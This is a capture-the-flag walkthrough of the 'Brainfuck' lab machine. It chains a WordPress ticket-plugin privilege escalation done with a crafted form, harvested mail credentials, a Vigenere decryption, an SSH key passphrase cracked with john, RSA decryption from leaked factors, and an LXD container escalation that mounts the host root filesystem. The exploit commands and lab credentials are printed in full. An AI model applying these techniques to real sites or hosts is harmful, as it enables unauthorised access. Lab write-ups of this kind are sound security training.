Machine Synopsis#
Key Exploitation Techniques:
- DNS Enumeration (SSL Certificate SANs)
- WordPress Plugin Vulnerability (WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation via
loginGuestFacebook
) - Credential Harvesting (SMTP password from WP config)
- Mailbox Enumeration (POP3/IMAP access)
- Vigenere Cipher Decryption (with known plaintext)
- Encrypted SSH Key Cracking (John the Ripper)
- RSA Decryption (known p, q, e factors)
- LXD Privilege Escalation (Abuse of
lxd
group membership)
Enumeration#
$ nmap -p- --min-rate 10000 10.10.10.17
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
110/tcp open pop3
143/tcp open imap
443/tcp open https
$ nmap -p 22,25,110,143,443 -sCV 10.10.10.17
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
| 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES USER SASL(PLAIN) AUTH-RESP-CODE CAPA UIDL TOP PIPELINING
143/tcp open imap Dovecot imapd
|_imap-capabilities: post-login capabilities SASL-IR LITERAL+ ENABLE more IMAP4rev1 IDLE LOGIN-REFERRALS listed have ID OK Pre-login AUTH=PLAINA0001
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
| tls-nextprotoneg:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: nginx/1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after: 2027-04-11T11:19:29
|_http-title: Welcome to nginx!
Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The SSL certificate for HTTPS on port 443 revealed hostnames brainfuck.htb
and sup3rs3cr3t.brainfuck.htb
. These were added to /etc/hosts
.
10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb

The certificate also showed orestis@brainfuck.htb
as an email address.
emailAddress = orestis@brainfuck.htb
CN = brainfuck.htb
OU = IT
O = Brainfuck Ltd.
L = Athens
ST = Attica
C = GR
wpscan
against https://brainfuck.htb
identified the wp-support-plus-responsive-ticket-system
plugin version 7.1.3, which was outdated.
$ wpscan --url https://brainfuck.htb --disable-tls-checks
...
[+] wp-support-plus-responsive-ticket-system
| Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
| Version: 7.1.3 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
$ searchsploit wordpress support plus
...
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation | php/webapps/41006.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection | php/webapps/40939.txt
...
searchsploit
confirmed known vulnerabilities for this plugin version, including privilege escalation (41006.txt) and SQL Injection (40939.txt).
Exploitation#
WordPress Admin Access (loginGuestFacebook)#
Exploiting the privilege escalation vulnerability in WP Support Plus Responsive Ticket System version 7.1.3 was performed via a crafted HTML form (hehe.html
). This specific vulnerability involved abusing the loginGuestFacebook
action to gain admin privileges
$ cat hehe.html
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>

Submitting this form, then navigating to https://brainfuck.htb/wp-admin/admin-ajax.php
and refreshing https://brainfuck.htb/
, granted administrative access to the WordPress site.

SMTP Credential Discovery & Mailbox Enumeration#
Within the WordPress admin panel, the WP SMTP plugin configuration revealed SMTP credentials: orestis:kHGuERB29DNiNE
.



These were used to access Orestis’s mailbox via POP3/IMAP
Connecting to the POP3 service on port 110 (e.g., using telnet
or a mail client) with these credentials, an interesting email was found. This email contained credentials for a “secret forum” on sup3rs3cr3t.brainfuck.htb
: orestis:kIEnnfEKJ#9UmdO
.




Vigenere Cipher Decryption & SSH Key Discovery#
Accessing one of the threads revealed an encrypted message. A plaintext segment from the thread, “Pieagnm - Jkoijeg nbw zwx mle grwsnn,” was recognized as similar to “Orestis - Hacking for fun and profit.”

This suggested a Vigenere cipher.

Using the known plaintext-ciphertext pair, the Vigenere key was determined to be fuckmybrain
.

Applying this key to the full encrypted message content revealed a link to an SSH private key: https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
.
Encrypted SSH Key Cracking & SSH Access (orestis)#
The id_rsa
file downloaded from the discovered link was encrypted.
$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382
mneag/YCY8AB+OLdrgtyKqnrdTHwmpWGTNW9pfhHsNz8CfGdAxgchUaHeoTj/rh/
...
6hD+jxvbpxFg8igdtZlh9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ
-----END RSA PRIVATE KEY-----
The SSH private key was converted to a crackable hash format using ssh2john
. john
was then used with rockyou.txt
to crack the hash.
$ ssh2john id_rsa >> hash
$ cat hash
id_rsa:$sshng$1$16$6904FEF19397786F75BE2D7762AE7382$1200$9a779a83f60263c0...
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
...
3poulakia! (id_rsa)
The passphrase was 3poulakia!
. Permissions were set on the id_rsa
file.
$ chmod 600 id_rsa
An SSH connection was established to 10.10.10.17
as orestis
using the key and passphrase.
$ ssh -i id_rsa orestis@10.10.10
Enter passphrase for key 'id_rsa': 3poulakia!
...
You have mail.
orestis@brainfuck:~$ groups
orestis adm cdrom dip plugdev lxd lpadmin sambashare
orestis@brainfuck:~$ cat user.txt
2c11cfbc5b959f73ac15a3310bd097c9
The user.txt
flag was retrieved. orestis
was also a member of the lxd
group, indicating another potential privilege escalation path.
Privilege Escalation#
RSA Decryption (Intended Path)#
In orestis
’s home directory, an encrypt.sage
script and corresponding debug.txt
and output.txt
files were found.
orestis@brainfuck:~$ ls
debug.txt encrypt.sage mail output.txt user.txt
orestis@brainfuck:~$ cat encrypt.sage
nbits = 1024
password = open("/root/root.txt").read().strip()
...
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
...
c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')
encrypt.sage
encrypted root.txt
using RSA, logging p
, q
, and e
to debug.txt
and the ciphertext c
to output.txt
. This provided all necessary components to decrypt the RSA ciphertext.
orestis@brainfuck:~$ cat debug.txt
7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
orestis@brainfuck:~$ cat output.txt
Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
A Python script (decrypt_rsa.py
) was used to perform the RSA decryption, given p
, q
, e
, and c
.
# https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e
$ cat decrypt_rsa.py
def egcd(a, b):
# ... (Euclidean algorithm for GCD and extended GCD)
return gcd, x, y
def main():
p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
n = p * q
phi = (p - 1) * (q - 1)
gcd, a, b = egcd(e, phi)
d = a
pt = pow(ct, d, n)
print( "pt: " + str(pt) )
if __name__ == "__main__":
main()
$ python decrypt_rsa.py
n: 8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750
The decrypted plaintext pt
was an integer. Converting this integer to hexadecimal and then converting it back to text revealed the root flag
$ python3
>>> pt=24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> print(pt)
24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> hex(pt)
'0x3665666331613564626238393034373531636536353636613330356262386566'

The root flag is 6efc1a5dbb8904751ce6566a305bb8ef
.
Alternative Privilege Escalation: LXD#
orestis
was a member of the lxd
group, which allows for LXD privilege escalation. This involves creating a privileged LXD container, mounting the host’s root filesystem, and executing commands within the container to affect the host.
Initial lxc
commands confirmed no existing containers or images:
orestis@brainfuck:~$ lxc list
Generating a client certificate. This may take a minute...
...
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
orestis@brainfuck:~$ lxc image list
+-------+-------------+--------+-------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+------+------+-------------+
A base64-encoded LXD Alpine image (bob.tar.bz2
) was provided in this writeup. This was decoded and imported as an LXD image.
# Decode the base64 string and decompress
orestis@brainfuck:~$ echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhcvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2
orestis@brainfuck:~$ lxc image import bob.tar.bz2 --alias bobImage
Image imported with fingerprint: 8961bb8704bc3fd43269c88f8103cab4fccd55325dd45f98e3ec7c75e501051d
A new privileged LXD container, bobVM
, was initialized and configured to mount the host’s root filesystem (/
) to /r
within the container.
orestis@brainfuck:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
orestis@brainfuck:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
The container was started, and a shell was executed within it. From inside, the host’s root filesystem was accessible, allowing root.txt
to be read.
orestis@brainfuck:~$ lxc start bobVM
orestis@brainfuck:~$ lxc exec bobVM -- /bin/sh
# whoami
root
# cat /r/root/root.txt
6efc1a5dbb8904751ce6566a305bb8ef
The root.txt
flag was retrieved.